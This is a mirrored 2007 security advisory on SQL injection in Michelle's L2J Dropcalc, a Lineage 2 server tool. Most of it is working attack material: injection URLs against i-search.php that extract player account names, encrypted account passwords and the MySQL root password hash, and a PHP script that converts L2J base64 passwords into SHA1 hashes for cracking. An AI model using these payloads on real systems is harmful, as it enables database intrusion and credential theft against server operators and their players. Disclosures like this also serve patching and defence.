Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15927
HistoryFeb 01, 2007 - 12:00 a.m.

Michelle's L2J Dropcalc

2007-02-0100:00:00
vulners.com
31

#==============================================================================================

Title: Michelle's L2J Dropcalc

Version: <= v4

Web Site: http://www.msknight.com/comps/lineage2/myl2jdropcalc.htm

Discovered By: Codebreak ([email protected] | www.codebreak.tk)

#==============================================================================================

SQL Injection: (*** Must be logged in, using your own username and Token***)

http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=[SQL]

Example:

Obtain a player username:

http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,account_name,null,null,null,null,null from characters where char_name = "[PLAYER]"

Obtain a password for that username (*** encrypted):

* only valid if loginserver and gameserver are in the same machine

http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,password,null,null,null,null,null from accounts where login = "[USERNAME]"

Bonus:

Obtain MYSQL Password (encrypted):

*only valid if the script is executed with root accounts.

http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,Password,null,null,null,null,null from mysql.user where User = "root" and host="localhost"

*** L2J Encrypted Password can be decoded into a SHA1 hash. I've made a script to do that and it's included in this file

###############################################################################################

<--------- Beginning of PHP Script --------->

<style type="text/css">
<!–
.style3 {font-size: 24px}
.style1 {color: #CC0000}
–>
</style>
<?
echo("<title>L2J Pass Decoding - POC</title>");
$pass = $_POST['decode'];
$unpass3 = base64_decode($pass);

$array = unpack("H*", $unpass3);
foreach ($array as $key => $value)
$unpass2 = $array[1];

echo("<span class=style1><b><u>Decoding Password</u></b></span>");

echo("<br><b>Base 64:</b> $pass<br>");
echo("<b>Unpacked:</b> $unpass3<br>");
echo("<br><b>SHA1:</b> $unpass2<br>");
?>
<form name="form1" method="post" action="">
<div align="center">
<input type="text" name="decode">
<input type="submit" value="Decode">
</div>
</form>
<br><br><br><center><i>Created by Codebreak</center></i>

<------------- End of Script ------------->